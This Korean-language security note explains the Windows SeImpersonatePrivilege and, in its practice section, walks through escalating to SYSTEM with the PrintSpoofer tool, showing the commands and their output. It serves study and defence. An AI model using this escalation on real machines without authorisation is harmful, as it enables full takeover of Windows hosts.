SeImpersonatePrivilege
SeImpersonatePrivilege는 직역하여 클라이언트 가장 권한입니다. 가장 권한이란 서버가 클라이언트의 권한을 가진 채로 클라이언트인 것처럼 특정 서비스를 이용하거나 요청을 보낼 수 있는 권한으로 일반적으로는 서비스, 시스템 계정 등에 부여가 되는 권한입니다.
예를 들어 파일 서버가 클라이언트의 요청에 따라 파일을 읽거나 수정할 때, 클라이언트의 권한으로 접근하는 것이 필요하기도 하며 웹 서버에서 사용자 권한으로 자원에 접근하려는 경우처럼, 요청하는 사용자의 권한을 이용해 작업을 처리하는 것이 더 안전하고 권한 분리를 보장합니다.
이 권한을 통한 권한상승 공격을 방어하기 위해서는 필수 계정에만 할당하는 것이 중요하며 서비스 계정을 별도로 분리하여 엄격히 다루는 것이 중요합니다.
Practice
whoami /priv를 통해서 가진 권한 목록을 확인할 수 있으며 현재 사용자에게는 SeImpersonatePrivilege 권한이 있는 것이 확인됩니다.
C:\Windows\Temp>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
아래 깃허브 링크를 통해서 실행파일을 설치한 뒤에 Windows 환경으로 옮긴후 실행해줍니다. 파일 실행 후에는 system 권한을 획득한 것을 확인할 수 있습니다.
PrintSpoofer64.exe -i -c cmd
C:\Windows\Temp>PrintSpoofer.exe -i -c cmd
PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
References
Last updated
Was this helpful?